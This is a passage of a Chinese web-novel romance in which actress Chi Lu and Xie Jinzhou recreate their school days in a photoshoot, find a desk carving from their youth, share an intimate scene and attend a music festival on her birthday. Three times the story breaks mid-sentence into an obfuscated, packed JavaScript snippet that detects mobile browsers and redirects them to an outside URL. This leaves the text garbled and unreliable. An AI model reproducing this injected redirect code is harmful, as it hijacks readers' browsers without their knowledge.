这次拍的主题是【重回十八岁】,他们没选店里的服装,而是翻出了当年芳町三中的校服。 驰路庆幸,六年前没带走那套校服,现在可以用上了。 驰路换完衣服,看着镜子里的自己,当年觉得土得掉渣的酒红色校服,现在看来也没那么土。 为了还原当年的模样,驰路特意戴了假发,扎了马尾辫,仿佛真的回到了十八岁那年的盛夏。 这时,更衣室的门打开,从里面走出来身材颀长的男生。 他穿着校服,上衣敞着,露出里面的白色T恤。 他把头发重新染了,是醒目张扬的雾霾蓝,右脑侧有一道“X”,右耳上挂着耀眼的耳挂。 好像一点没变,还是彼时十八岁的少年。 张狂、不羁、痞帅。 看一眼,便会让人心动。 谢劲舟双手插兜,站在原地,许久未动。 不远处站着的驰路,穿着校服,外套的拉链拉到了一大半,露出里面白色T恤的红色衣领,扎着马尾辫,还戴着一副黑框眼镜,跟平时的驰路判若两人,完全没了那股张扬酷飒劲儿,像邻家乖巧的小姑娘。 谢劲舟走到驰路面前,伸手:“这位同学,要不要认识一下?” 驰路握住他的手,弯眼笑道:“驰路,驰骋的驰,路遥知马力的路。” 谢劲舟握紧她的手,深邃的眸子里浮出笑意:“谢劲舟,谢劲舟的谢,疾风知劲草的劲,蝴蝶飞过一叶舟的舟。” * 台球厅、网吧、首饰店……他们曾经走过的地方,都作为背景,定格成了一帧帧美好的画面。 去往芳町三中的路上,许摄影师说:“驰老师,这次你笑得比上次自然,也比上次甜蜜。” 跟男朋友一起拍照,跟与合作伙伴一起拍,心境不同,展示出来的效果自然也不同。 这次,驰路摆出的每个动作都那般自然,每一帧画面里,她的眉眼间都染了笑意,是甜蜜的,亦是幸福的。 台球厅,驰路趴在台球桌前,被谢劲舟圈在怀里,两人视线交缠。 网吧,他站在柜台里,她站在柜台前,彼此深情对望。 首饰店,谢劲舟帮驰路戴耳挂、戴项链,他们陷在阳光里,美得如梦似幻。 那辆红白色的摩托车前,他们背靠摩托车,时而酷帅地望着前方,时而深情地看着对方。 在人来人往的芳町镇的街道上,谢劲舟开着摩托车载着驰路,一路向前。 …… 最后的拍摄地点是芳町三中,在校园对面,驰路看到了谢奶奶,她昨晚提前跟谢奶奶说好,今天一定要在这里摆摊,谢奶奶问她为什么,她说,到时您就知道了。 谢奶奶看到穿着校服的驰路、谢劲舟,还有上次的拍摄人员,一下子明白驰路的用意了。 “阿驰啊……”谢奶奶拉过驰路的手,看了看谢劲舟,又看向驰路,眼睛泛红,声音哽咽道,“你对我们家小谢太好了。”说完,抹了抹眼睛。 驰路抱住谢奶奶,在她耳边小声说:“谢奶奶,我想对小谢好,因为他对我更好。” 驰路不用跟在场的其他人拍照,而是光明正大地跟谢劲舟拍了一张又一张合照。 这天是周六,能看到他们拍照的人不少,谁要是问了,谢劲舟会说“我们在工作”;谁要是想拍他们了,谢劲舟会礼貌摆手“请不要拍照”,仿佛她的贴身助理。 这次,不只有两人的合照,还多了跟谢奶奶的合照,三人都言笑晏晏,美好时光在此刻被定格。 他们不是一家人,却像极了一家人。 * 学校里的栾树都结了果,红艳艳一片,硕果累累,随风轻轻摇晃。 他们站在树下,阳光透过树枝的罅隙照进来,照在了他们脸上、身上,斑驳的光影落在左肩,仿若走进旧时光的两个少年。 摄影师按下快门时,驰路站在谢劲舟的身旁,耳朵里各塞了一个耳机,白色耳机线落在彼此的胸前。 他们看着镜头,谢劲舟悄悄地牵起她的手。 拍一张面对镜头的,拍一张彼此对望的,拍一张驰路把下巴抵在他肩头的。 拍第三张时,一朵栾树果子落下,驰路伸手去接,正好落在她的掌心。 画面在此刻被定格。 驰路的脑中浮现出上次他们走过这条道时,谢劲舟跟她说的话: “阿驰,我不祝你功成名就,我祝你绚烂一生。” “所谓绚烂一生,不是一定要站在多大的舞台上,也不是一定要接的剧本都是主角,而是,你可以在合适的花期绽放,可以按照自己的节奏生活,可以做你自己!” 她终于可以坦然地面对十八岁的自己。 十八岁的自己,是没有花期的,也没有绽放一朵花。 可是,没关系,春天来了又去,她也终于等到了她的花期。 看,栾树开花了,栾树又结果了。 成长路上所有的旋涡和寒潮,浩浩荡荡地登场,又会随着光阴流逝,悄无声息地退场。 得与失,爱与恨,翻山越岭,终成过往。 曾经掉落进深渊的灵魂,也终于开出花。 她不要岁月的嘉赏,她只要留住这阳光满怀的好时光。 在这样的好时光里,好好做自己,好好爱自己,好好地,跟谢劲舟在一起。 * 最后一站,是他们曾待过的教室——高三七班。 上次过来并没有走进去看过,这次,驰路推开教室后门,下午的阳光斜斜地洒进来,照在课桌上。 驰路望着最后一排靠墙的位置,那是六年前谢劲舟坐过的地方,而她坐在他的斜前方。 课桌不像是之前的了,比之前的更旧,上面有用黑笔、蓝笔涂涂画画的英文字母、数学公式。 先拍了暗恋部分,分别从两人的视角去拍,为了体现服装的多样性,他们把校服外套脱了,露出里面的白色短袖T恤,驰路把眼镜摘了。 驰路坐在倒数第二排的位置,翻着语文课本,谢劲舟双手插兜,懒懒散散地走到窗前,悄悄地看她。 谢劲舟坐在最后一排靠墙的位置,趴在桌上睡觉,驰路站在窗外看他。 再拍室内部分,他们分别坐在之前的座位上,谢劲舟一脸严肃地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“都行。”驰路伸手,指间碰到他的指间,触碰到的瞬间,如同过电。 这么久了,他还是她的敏感源。 “不后悔。” 一句没头没尾的话,驰路听得一头雾水,微微蹙眉看他。 而后听到他坚定道:“拍照,不后悔;遇见你,也从不后悔。” 驰路握住了他的手,看着他深邃眼眸。 他的眼睛很好看,单眼皮,眼皮薄薄的,自带棱角和锋芒,跟他这个人一样。 但一次次看她时,像装了无数星星,温柔又深情。 她被他看得脸颊微微泛红:“谢劲舟,人总会在某个时刻陷入虚无,但你让我找到了实感。你是我的暗夜长灯,也是我的无可取代。” 谢劲舟拿起她的手,吻她细长白皙的手指,一根一根地吻,吻得她的手指湿/漉/漉的,再抬头看向她的眼睛:“驰路,如果我是你的无可取代,你就是我的此生偏爱。” 最后落在她的食指上,在她的无名指上咬出一圈齿痕:“飞鸟属于天空,而你只属于我。驰路,我爱你!” 驰路拿过他的手,也在他的无名指上咬出一圈齿痕:“鲸鱼属于大海,而你只属于我。谢劲舟,我爱你!” 彼此无名指上的齿痕,都像极了一枚镌刻的牙印戒指。 无名指上的牙印戒指,是热恋的证明,也是一生一世的诺言。 少年情动,是盛夏时节盛放的洋桔梗,轰轰烈烈地开了漫山遍野。 花谢了会再开,就像我爱的少年,离开了,还会回来。 欢迎回来,我的少年! 喜欢会上瘾,就像我遇见了你。 你是我贫瘠生命里唯一的神明。 …… 我们曾被世界遗弃,被黑暗吞噬,被牢笼束缚。 谁都无法挣脱,谁也看不见黎明破晓。 我们以为世界布满残骸,以为心脏不再澎湃。 站在风暴中央,历经孤独、痛苦和迷茫,以为再无法翻开命运的新篇章。 可是,我遇见了你,像遇见袭上岸的浪潮,凶猛、冷冽、带劲。 你亲手为我安上另一半翅膀,带我去往自由的方向。 原来,破碎不堪的人生,也可以冲破黑暗,也可以望见苍穹。 你看见了吗,十八岁那年的烈阳,比任何一年都要炙热。 因为,那是你照进我世界的光。 你听见了吗,十八岁那年的蝉鸣,比任何一年都要聒噪。 因为,那是我为你心跳的声音。 …… 支离破碎的蝴蝶,终于,找到了她的舟。 漂泊无依的舟,终于,找到了他的蝴蝶。 他们踏着月色而来,越过时间的海,暴烈地爱着对方。 136. 十八岁的秘密 窗外时不时走过学生,偶尔往教室里看,会看到高三七班的教室里还有两名学生,之前没见过,女生乖巧漂亮,却又自带妩媚气质,男生痞帅张扬,像二次元漫画里走出来的帅气少年。 “这是谁啊,你认识吗?怎么没见过。” “哇!好帅!这颜值封神了!” “要不要勇敢一点?” “帅哥,方便加下你的微/信吗?”女生红着脸,羞怯地走进教室,站到谢劲舟身旁,主动索要联系方式。 谢劲舟懒懒散散地靠在墙上,轻轻地掀了掀眼皮,面无表情地看向女生:“不好意思,我有女朋友了。” “啊?”女生大失所望,“你女朋友很漂亮吧。” 女生暗暗想:什么样的人,才配得上这么帅的男生呢? 谢劲舟拽了拽斜前方女生的马尾辫。 “谢劲舟,你干吗,你烦不烦。”这人又来了,怎么还跟之前一样幼稚。 这是第几回了,谢劲舟扯她马尾辫。 她很烦! 驰路转头瞪他,看到旁边的女生,瞬间恍然。 这是第几个女生了,她在心里数了数,第七个了,第七个来问谢劲舟要微/信的了。 接下来,开启流程化的应对模式。 驰路站起来,走到谢劲舟身后,微微躬身,双手揽住他的脖颈,声音娇软:“怎么了,男朋友,想我了?” 谢劲舟旁若无人地转头,精准地吻上她的唇。 他们在人群中保持疏离,此刻却在陌生人面前上演亲密。 旁边的女生看得整个人都懵了,这是为了劝退她,还是在演电视剧啊! 但这吻不是借位,吻得那么逼真、那么缠绵,直接让她看了一场现实版活生生的接吻大戏。 她第一次索要男生微/信的勇气瞬间四分五裂,心碎了一地,夺门而出。 等人走后,驰路推开谢劲舟:“好了,跟你演戏真累。” “怎么累了?” “演一次就要吻一次。” “不喜欢吗?” “也不是不喜欢。”驰路舔了舔嘴唇,有点疼意,“你吻得太凶了,把我的嘴巴都吻肿了。” “没办法。”谢劲舟无奈耸肩,“我只是在顺应我的本能。” 除了主动跟谢劲舟要微/信的,也有问驰路要微/信的男生,还没等男生走过来,谢劲舟只要抬抬眼,一个锋利的眼神扫过去,对方就乖乖走了。 谁都不想惹一个看起来像混混的男生。 谁都从他的眼睛里看出了“这个妞儿是老子的”。 也有认出驰路是演员的,上次还来他们学校跳过反校园霸凌舞蹈的,会激动地拿出笔找她签名、跟她合影。 驰路怕再待下去,来找她签名、合影的越来越多,跟谢劲舟说:“舟哥,咱们走吧。” “走也不是不可以。”谢劲舟说,“下次来还不知道什么时候,我们来找找吧。” “找什么?” “你来找我的桌子,我找你的桌子。” “什么?”谢劲舟什么时候变成幼稚鬼了,确定要找曾经的桌子?好无聊! 驰路觉得没劲:“不找。” 她想要去方才的桌子上拿包走,却被谢劲舟拽住手腕:“不找的话,今晚就在这里过夜。” …… 这是在威胁她?驰路不吃这一套,甩开他的手:“你要过夜,就在这里过夜,我走!” 谢劲舟见硬的不行,只好来软的,冷沉的脸上多了一抹笑:“你不是刚说爱我的吗。” 眨了一下眼,芳町镇的谢大佬,瞬间像一只摇着尾巴讨爱的小狗。 驰路就见不得谢大佬卖萌的样子,心软了下来,找就找吧。 桌子早就被打乱了,也不知道有没有换过,想要找到并不容易。 驰路从后面的桌子,一张一张地找,边找边想,谢劲舟的那张桌子有什么特征呢? 学生时代,很多人都喜欢在桌面上涂涂画画,有的是课上无意间划过的痕,有的是考试前在桌上留下的公式,还有的,是别人留下的恶意。 驰路找过一张又一张桌子,每张桌子上都或多或少地带着坐过的人的痕迹。 剩最后一排——第一排,她一个一个地看,都不是谢劲舟的。 第一排靠窗的那个,应该不会是。 她想着可能那张桌子已经漂流到别的教室了。 驰路看着坐在第二排靠窗坐着的谢劲舟:“你怎么坐这儿了?找到了?” “嗯。” “这是我曾经坐过的?”驰路坐到了他前面,探头去看,果真,那是自己坐过的课桌。 课桌上已经多了被覆盖了别人的涂涂画画,他是怎么认出来的? 驰路问:“你怎么知道这是我的?” “XJZ。”谢劲舟一字一字地念,“是你写的吧。” 驰路没有隐藏:“是我写的,怎么了?” “你那时就暗恋我?” “谁暗恋你!”驰路反驳,“看到没有,我在写英文字母。” “是吗?”谢劲舟勾唇扬眉,笑容中透着“我不信”,“我的桌子你找到了吗?” “应该不在这个教室。”驰路无奈摊手,看了看身后,“这是最后一张桌子了,如果不是,就找不到了。” “看看。” 驰路坐下来,看到的这张桌子不像其他桌子,上面有很多涂涂画画,一层盖着一层,一看就是经历过好几个人。 这张桌子虽然旧了,左上方也破了一小角,但桌面干净得不像话,一眼便能看到上面写了什么、画了什么。 桌面刻了一艘船,船上停了一只侧身飞舞的蝴蝶。 刻痕很深,不论时光如何流逝,图案依旧清晰可见。 驰路心里一惊,他什么时候刻上去的? 七年前,他们一个班,她坐在他的斜前方,曾多次偷偷看过他的课桌。 他的桌上总是堆了小山似的书,不是用来看的,而是用来挡住老师视线,用来睡觉的。 后来,他想从烂泥里爬出来,她做了他的“驰老师”,他才一本一本地看小山似的书。 他从那个人人避而远之的学渣校霸,到人人皆知的芳町镇学渣逆袭学霸,用了一年时间。 只为了实现“老子会陪你一起考北京的大学”的承诺。 仿佛看到了坐在这张课桌上的少年。 有一年,染着雾霾蓝的头发,常常趴在桌上睡觉,永远一副睡不醒的样子,谁都不知道他打几份工、熬多少夜。 有一年,他顶着褪色的灰绿色头发,每天喝大量的咖啡,上课再不睡觉,每晚都是最后一个离开教室,谁也不知道他刷了多少题、熬了多少夜。 这张课桌,见证了两个时期的谢劲舟,见证了他从低谷到辉煌。 无数个日日夜夜的努力,成就了现在的他。 这世上从来没有轻而易举的抵达,只有攀过万千台阶后,才能站到山巅。 驰路摸着课桌上的那艘小船,仿佛看到他埋头一刀一刀刻下的身影。 她转身看谢劲舟:“什么时候刻的?” “把文身文在脚踝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560853|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的那天。” 那天是周六,谢劲舟文完身,来到教室,在桌上一刀一刀刻下跟脚踝上一样的文身图案。 每一刀都刻得那么深,他要它们永远存在,就像蝴蝶从未离开过小船。 每当他上课犯困了、刷题累了、解不出难题时,桌上的这只蝴蝶,都是离他最近的慰藉和动力。 驰路低头看了看他伸过来的长腿,看到右脚踝上文的蝴蝶,想起他曾跟自己说: “阿驰,我是靠着你才熬过来的。我把你刻在我的身上,提醒我,曾经有一只蝴蝶飞到我这艘船上,虽然短暂,却给了我一辈子都无法忘记的热望,让我知道什么是在意,什么是喜欢,什么是刻骨的爱。” 驰路用食指摸着他右手无名指上还未消退的牙印戒指,坦言真相:“舟哥,XJZ,不是什么英文字母,而是谢劲舟。那时,我偷偷地喜欢过你。” “什么时候?哪一天?”谢劲舟追根刨底地问。 “我哪知道,记不得了。” “我劝你好好想想!” “要不然呢?” “我永远都会把你绑在我身边。” “那你绑好了。” …… 课桌上放的不只有书、试卷、笔,还有藏起来的秘密。 年少时的喜欢,总是来得小心翼翼,生怕说出口,就像在低头。 其实,喜欢没有高低之分,如水流入大海,是一场盛大的交汇。 我曾悄悄地喜欢过你,宛若窗外悄悄绽放的玫瑰。 …… 不用谢劲舟逼问,过往也清晰如昨。 那天对很多人来说,平淡无奇,但对驰路来说却很特别,她上课上得心不在焉。 她的斜后方的座位是空的,那个人没来,已经第五天了。 她的余光,总是不自觉地看向那个空了的位置,仿佛还能看到那个染着雾霾蓝头发的少年懒懒地靠在墙上,边听课边转笔。 只是,那个少年不再是印象中张扬的、不羁的。 暴雨天,烂尾楼里,他一身傲骨被人打碎,尊严被人践踏。 他一下一下地在地上磕着响头,如果不是因为她,他也不会放下尊严,折断傲骨,连续磕二十个响头,磕得额头上都是鲜血。 从他不来的第一天,她上课就开始走神,笔在课本上圈圈画画时会写XJZ,一次无意间写在了课桌上。 课本上的被改成了其他的字,但课桌上的没改,而是每天都描那三个字母,描完了再用手背擦掉,擦完再描。 直到第五天放学,许婉问她在写什么,她灵机一动,说在记英文字母,写桌上提醒自己。 什么时候对他产生了暗恋的情愫? 驰路说不清,也许是他从体育器材室将她解救后,也许是他在巷子口帮她击退那帮调戏她的人后,也许是在那个烂尾楼为她下跪后,她哭成了小花猫,他反而安慰她:“阿驰,别哭,老子没事。” 也许是在很多很多个,连她自己都不知晓的瞬间。 只是,那时,她还不知道这就是暗恋。 她的神明,曾将她从深渊里打捞起,用他的傲骨、尊严,守护着她。 驰路,驰路,老爸老妈从她出生的那天起,希望她以后的人生,有路可走。 结果,他们堵住了她回家的路,将她遗弃在芳町镇,是谢劲舟为她铺了一条回家的路。 …… 我是一只从泥潭里爬出来的断翅蝴蝶,你给了我一叶可以停靠的小舟。 月亮下落不明,但十八岁的少年,永远为你星河长明。 137. 去音乐节看你(一) 驰路在芳町镇整整待了一个月,回京那天,谢劲舟信守承诺,跟她一起回去。 回京后,谢劲舟第一件事便着手租房,之前驰路提议要不要跟她一起住,但考虑到狗仔偷拍到两人住一起会影响到她,还是在离她近的小区租了一个一居室。 两人白天各忙各的,等到了晚上驰路会出现在谢劲舟那个小小的一居室里。 她这种行为被路漫提醒过:“阿驰,你别老去谢劲舟那儿,要是被狗仔拍到,你麻烦就大了!” “妈,我是去他家里,不是跟他去约会,狗仔能拍到什么。” 驰路没有告诉路漫,她怎么可能只待在他家里,天天待着很没劲,他们会在饭后一起去散步,一起逛超市,一起去公园…… 只是他们不能跟别人一样,尽情地呼吸空气,都会全副武装了才出门。 只有等到深夜时分,公园里几乎没有人了,他们坐在树荫遮蔽的长椅下,才敢把口罩摘下来。 这天晚上,驰路躺在谢劲舟的腿上翻看剧本,是一个家庭伦理剧题材,不太感兴趣,翻了几页后就不想看,把剧本扔到茶几上,看着正拿着笔画设计图纸的谢劲舟。 他轮廓分明,下颌线利落,从她这个视角看去,帅得还是那么张扬肆意。 他认真设计方案时,格外专注,完全沉浸在他的世界里。 驰路最爱逗这样的他,她抬手摸着他脖颈一侧的字母文身,指腹一点点往上移,这人无动于衷,再往上移,还是无动于衷。 驰路干脆坐起来,靠在他肩头,倾身吻他脖颈的文身,吻的第一下,腰就被他搂住。 他一转头,狠狠吻上她的唇,在她唇上用力碾摩,沉声说:“驰路,你不要命了,是不是!” 谢劲舟掀起她的黑色真丝睡袍,手探进去,将她翻转身,压到沙发上,一把扯开她的睡袍,看到她那只燕尾蝶文身,激起他内心深处的某种欲望,想将她完全占有。 “谢劲舟……”驰路的心脏怦怦乱跳。 “阿驰,还玩不玩我?”谢劲舟咬着她的耳朵。 “谢……劲舟,你……浑……蛋!” “我浑蛋是吧。你喜欢浑蛋吗?” 她像一堵墙,而他是紧紧攀附在墙上的爬山虎,伸出的每一根藤蔓都紧紧地攀在墙面上。 这样的浑蛋,她喜欢吗? 她脸上染了一层层红晕,气呼呼道:“谁要喜欢浑蛋!” 驰路双手挣扎着,从他身下逃离,迅速起身,一把将他按倒在沙发上,跨坐在他身上,反客为主,俯身咬住他锁骨上的文身。 室内满是旖旎春光,暧昧如月色般流淌。 谢劲舟看着双颊泛红的驰路,擦了擦她眼角溢出的眼泪说:“驰宝,喜不喜欢浑蛋都由不得你了。因为,你已经在浑蛋的口/口里了,一辈子都别想走!” 谢劲舟并没有尽兴,一把抱起驰路,想进房间时,一通电话拯救了驰路。 驰路接电话时,谢劲舟把脑袋埋在她的颈侧,来回吮吸,弄得她又痒又麻,原本还淡然的声音里多了一丝笑意。 “阿驰,你这是答应了?”对方听到她的笑声,默许她答应了。 驰路推开像小狼狗粘着自己的谢劲舟,跟电话那端的人说:“我看下行程,要是安排得过来的话,跟我经纪人商量下。” 等挂了电话,谢劲舟又凑上来,一把将她搂进怀里。 驰路背靠着谢劲舟,他轻轻咬着她的耳朵:“谁打来的,有什么事?” “清清打来的,问我能不能去参加音乐会。” “你之前还没参加过音乐会吧?” “嗯。” 驰路嗓音特别,起初小有名气时,有音乐公司想为她量身打造歌曲,被她拒绝了,那会儿她要忙学业又要忙演戏,实在无暇顾及。 毕业后,出演的电视剧热映后,多家音乐公司找她,选了跟业内知名的音乐公司飞扬娱乐合作,录制了单曲《十八岁的幻想》,歌曲上线后,一举成为热播榜第一名,听过她歌的人都纷纷称她拥有一副被天使吻过的嗓子。 这首歌后来在网上疯狂流传,还成为了某抖上的火热BGM。 经过市场检验后,飞扬娱乐开始着手给她制作电子专辑,在今年元旦跨年当晚,推出她的个人专辑《燕尾蝶的秘密》,上线后,一夜销量高达30万张,奠定了她在音乐界的地位。 除夕夜、春节期间,驰路被邀请去各大电视台演唱专辑里的曲目,人气继续攀升。 这之后,各大音乐节主办方纷纷邀请她去参加,但为了接《密林深处》,驰路让路漫把音乐节的邀请都推了。 如果这次去参加的话,算第一次。 “想去吗?”谢劲舟亲她的脸颊。 驰路转头看他:“你希望我去吗?” 时清说的时间是12月24日,平安夜,恰好是她的生日。 生日这天,每年都会跟影迷们一起过,这次,她希望谢劲舟也在。 “我想看你唱歌。” “可是,”驰路皱了皱眉,“那天是平安夜,我生日。你要忙着跟客户沟通方案,没时间去看吧。” 谢劲舟亲了亲她的眉眼:“到时候看,尽量去。如果不行,让罗刺猬给我现场直播。” 既然谢劲舟想听,驰路当晚便跟路漫沟通了自己的想法,路漫一听在青宜市,又不是什么热门城市,立马否了。 “妈,青宜市虽然不是热门城市,但那里对我很特别。”驰路站在窗前,看到玻璃上映出谢劲舟的倒影,他走过来,从后面环住她,脸颊贴着她的,她抬手覆盖在他的手背上,“我在那里度过了我的十八岁,虽然只有八个月,却是我过得最开心最幸福的时光。那里有我的青春,我想把第一次参加的音乐节定在那里。” 后来,路漫同意了,跟主办方沟通相关事宜,安排驰路在音乐会开始的前两天过去。 驰路去之前,谢劲舟忙得没时间送驰路去机场,只给她发了信息,把她要带的东西,整理了一份清单发她,还给她发了一条语音:“阿驰,好遗憾,不能亲自去音乐会现场看你,我会让罗刺猬给我现场直播。” 驰路说不失落那是假的,但还是装作不在意地给他发了语音:“没事,以后有的是机会。” 毕竟是她第一次参加音乐会,又在她生日那天,她希望他在身边。 他忙于设计案,她能理解。但全然没了第一次要参加音乐会的激动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560854|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心空了一块。 …… 排练那天,驰路站在舞台上,看着空旷无人的舞台下方,莫名失神,有几处都唱得走了调。 她知道自己的状态不对,调整好状态,全心投入到排练中。 她不能辜负来看她音乐会的歌迷们,她要全力以赴! “清白乐队”也参加这次的音乐会,排练那天,时清在驰路休息间隙,让她江湖救急:“阿驰,苏漾家里出了事,明天的音乐会来不了,你能不能过来当鼓手?” “你这边还有其他人选吗?”驰路还不知道他们要表演的曲目,这明天就要上台演出,时间过于紧张,她不能轻易接下。 “有是有,但没有你舞台表现力好。”之前跟驰路的几次合作,时清对她都很满意,她在舞台上打鼓时,格外投入,自成宇宙。 “我看下你们的曲目。”驰路看完他们的曲目后,都是她熟悉的,之前也有练习过,出于好友的邀请,她愿意救这个急。 驰路跟路漫提前打了招呼,路漫让她好好表现,符合路漫的一贯作风,加活儿的事,她乐见其成。 音乐会那天的排练,驰路一直排练到晚上十点多,一天几乎没吃什么,饿得有些头晕,她拿起皮夹克要套上,啪嗒一声,有什么东西滚落在地。 她刚想去捡,有人已经提前捡起来递给她。 驰路抬头看,竟是言嘉芝,面色一惊:“芝芝,你怎么在这里?” 言嘉芝甜甜一笑:“周老师在,我就来了。” 驰路今天看到周柏屿的排练了,演唱曲目偏深情向,但那时并没有看到言嘉芝:“你是刚到?” “嗯。”言嘉芝从车站赶过来,都没去酒店,直接一路杀到了排练现场,就为了能赶上周柏屿的排练,但显然错过了。 驰路从她手中接过掉落的东西,那是一根棒棒糖,白桃味的,不知道谢劲舟什么时候放她口袋里的,此刻,对饿得头发昏的她来说,像一场及时雨。 驰路剥开糖衣,把糖含在嘴里,白桃味瞬间在齿尖溢开,想起谢劲舟在她吃棒棒糖时探进她的唇齿间,勾起她的舌尖,沉声说:“阿驰,棒棒糖很甜。” 睡前,驰路收到了谢劲舟发来的微信:阿驰,提前祝明天的演出顺利! ——你真的不能来吗? ——你就不能来一天吗? ——谢劲舟,明天可是我生日! 驰路打了一行又一行,从没有这么纠结的她,打了一行删掉一行。 最后一行想要删掉时,手滑点了发送,吓了一跳,两秒后迅速撤回。 她一直觉得前途比爱情更重要,别人不能扰她前程,她也不能扰了别人的前程,更何况,谢劲舟这次接的项目是多少建筑事务所想求都求不来的。 算了,不打扰他工作,隔空看她演出、隔空祝她“生日快乐”也可以吧。 驰路把心头的那点渴望摁了下去,给谢劲舟发了一条信息:谢了,谢大忙人! 每个字都敲得格外用力,敲完把手机扔到一旁,扯过被子,想进入梦乡,却迟迟无法入眠。 她干脆又捞过手机,打开音乐,听着明天要表演的曲目,一边听着一边哼着,不知何时才累得睡去。 138. 去音乐节看你(二) 陆淮知道自家老板谢劲舟是工作狂,但没想到996就算了,还要以身作则007。 他困得直打哈欠,谢劲舟呵护搭档,再次跟他说:“小陆,你回吧。” “老大,不差这两天,你别把自己的身子熬坏了。”陆淮伸了伸懒腰,看着埋头测算数据的谢劲舟,“要不要一起回?我来打车。” 陆淮掏出手机,刚点开打车APP,听到谢劲舟说:“你先回,我再待会儿。” 谢劲舟这一待就待到了凌晨六点,设计方案有交付时间,但以他这种完美主义者,不只会设计一个方案,会设计多个,各个空间也会设计多个方案,时常会推翻之前的方案,迭代更好的,再把他觉得最好的几个方案发给对方去做沟通。 陆淮住谢劲舟楼下,早上遛狗时,看到自家老板拖着一个行李箱,难道他这是打包行李,长住公司?这敬业精神直接秒杀一众打工人。 陆淮连忙叫住他:“老大,你这是要去哪儿?要做公司长住人口?” 谢劲舟转身,朝他勾了勾唇:“办重要的事,出差两天。” “去哪儿出差啊?”陆淮见谢劲舟风风火火地继续走,他追上去,“怎么不带上我?” “你给我好好想方案!”谢劲舟给他下任务,“这两天,想一个旋转梯的方案出来。” “老大~”陆淮站住,望着自家老板离去的身影,实在不明白,同样是人,为什么自己已经困成了狗,但自家老板容光焕发,走路都带风,不知道的还以为要去参加婚宴。 * 驰路昨天排练的时间久,睡得又晚,本想多睡会儿,却被生物钟叫醒了,捞起手机一看,早上七点,微博弹出诸多信息,点开一看,自己的微博上多了一条系统自动发的生日动态,留言已达4万条,点赞60万。 每年这个时刻,会是她得到祝福最多的一天,她很感谢陪伴自己多年的粉丝们,晚上会专门发一条感谢的微博。 驰路翻着一条条祝福,忽然想到什么,打开微信,看到置顶的【Z】发来了信息。 【Z】:驰宝,生日快乐! 简单至极的生日祝福,后面还放了一个生日蛋糕,她打开时,生日蛋糕在屏幕上掉落。 甜蜜会有,但依然遗憾,遗憾他不在身边。 * 青宜市,芳町镇草坪广场,音乐节开始前,草坪上已经坐满了人,此次音乐节持续两天,每天从中午12点到晚上9点。 “清白乐队”的演出时间在晚上六点,驰路作为鼓手参与的消息刚放出来,买到票的观众纷纷在网上发“啊啊啊!有生之年竟然可以看到驰路打鼓!”“之前看驰路的采访说是爱打鼓,这次能来现场看,我太幸福了!!!”“能看到驰路现场打鼓,值回票价了!”…… 十二月底的芳町镇,六点已没了天光,暮色降临,亮起了路灯。 舞台上黑漆漆的,随着鼓点的落下,原本嘈杂的现场瞬间安静下来,一束射灯照在驰路身上。 她穿着黑色紧身露脐单肩皮上衣、黑色皮短裤、黑色长筒靴,顶着一头酒红色头发,脖子上挂了一条黑色颈链,颈链下面坠着一只银色蝴蝶。 吉他声、键盘声、贝斯声纷纷响起,驰路手中的鼓槌也随之起落,一起一落间,皆是铿锵。 谁都没有看到过如此酷飒的驰路,在《摇摇晃晃的青春》里,她是乖巧青涩的云汐,是《小执着》里的元气少女卓洛,她饰演的角色充满青春气息,透出满满的少女感,与此刻舞台上的她判若两人。 她不再是云汐,也不再是卓洛,她是鼓手驰路。 摇滚乐躁动,程佑白磁性的歌声响彻天地。舞台下的粉丝们挥舞着荧光棒,有的跟着唱,声音最大的要数罗子昂,引来身旁女生们的纷纷侧目和议论:“看,这就是我跟你说的清清后援会的会长,是清清的头号粉丝。”“看过追星的,像他这么追的也太疯狂了!”“都是因为爱!”…… 说罗子昂疯狂,是因为他是人群中把牌子举得最高的那个,挥舞频率最多的那个,声音最大的那个。 恨不得让全世界的人都知道,他是时清的头号粉丝。 而他身后站着的人跟他形成鲜明对比,双手环胸站着,一张痞帅的脸,被鸭舌帽盖住了眉眼,露出清晰的下颌线。 罗子昂发现谢劲舟八风不动地站着,跟个木偶似的,在这热闹的人群中像个局外人,这不好,很不好,他弯腰从袋子里抓了几根荧光棒给他:“舟爷,燥起来啊!驰妹还在呢。” 谢劲舟冷冷瞥了眼,腹诽一句“幼稚”,但听着躁动的鼓声,还是拿起荧光棒,轻轻舞动着。 他的心思根本不在挥舞荧光棒上,视线完全落在舞台上的驰路身上。 罗子昂提前跟谢劲舟、许婉等要来的朋友们打好招呼,要来就要提前来占位,结果,他提前了两个小时听别人歌的时候,谢劲舟已经在第一排了,也不知道他听了多久。 他们占着最好的第一排的位置,谢劲舟却在“清白乐队”要开场时,站到了第二排,让另一个好兄弟占着第一排的位置。 隔着第一排,谢劲舟依然能清楚地看到舞台上的驰路,跟六年前相比,她成熟了些,但更耀眼了。 